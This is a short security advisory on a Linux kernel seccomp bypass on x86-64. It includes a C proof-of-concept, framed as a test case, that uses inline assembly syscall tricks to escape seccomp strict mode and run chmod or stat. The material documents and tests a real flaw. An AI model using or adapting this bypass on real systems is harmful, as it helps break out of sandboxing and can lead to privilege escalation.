source: http://www.securityfocus.com/bid/33948/info
The Linux kernel is prone to a local security-bypass vulnerability.
A local attacker may be able to exploit this issue to bypass access control and make restricted system calls, which may result in an elevation of privileges.
/* test case for seccomp circumvention on x86-64
There are two failure modes: compile with -m64 or compile with -m32.
The -m64 case is the worst one, because it does "chmod 777 ." (could
be any chmod call). The -m32 case demonstrates it was able to do
stat(), which can glean information but not harm anything directly.
A buggy kernel will let the test do something, print, and exit 1; a
fixed kernel will make it exit with SIGKILL before it does anything.
*/
#define _GNU_SOURCE
#include <assert.h>
#include <inttypes.h>
#include <stdio.h>
#include <linux/prctl.h>
#include <sys/stat.h>
#include <unistd.h>
#include <asm/unistd.h>
int
main (int argc, char **argv)
{
char buf[100];
static const char dot[] = ".";
long ret;
unsigned st[24];
if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
#ifdef __x86_64__
assert ((uintptr_t) dot < (1UL << 32));
asm ("int $0x80 # %0 <- %1(%2 %3)"
: "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
ret = snprintf (buf, sizeof buf,
"result %ld (check mode on .!)\n", ret);
#elif defined __i386__
asm (".code32\n"
"pushl %%cs\n"
"pushl $2f\n"
"ljmpl $0x33, $1f\n"
".code64\n"
"1: syscall # %0 <- %1(%2 %3)\n"
"lretl\n"
".code32\n"
"2:"
: "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
if (ret == 0)
ret = snprintf (buf, sizeof buf,
"stat . -> st_uid=%u\n", st[7]);
else
ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
#else
# error "not this one"
#endif
write (1, buf, ret);
syscall (__NR_exit, 1);
return 2;
}
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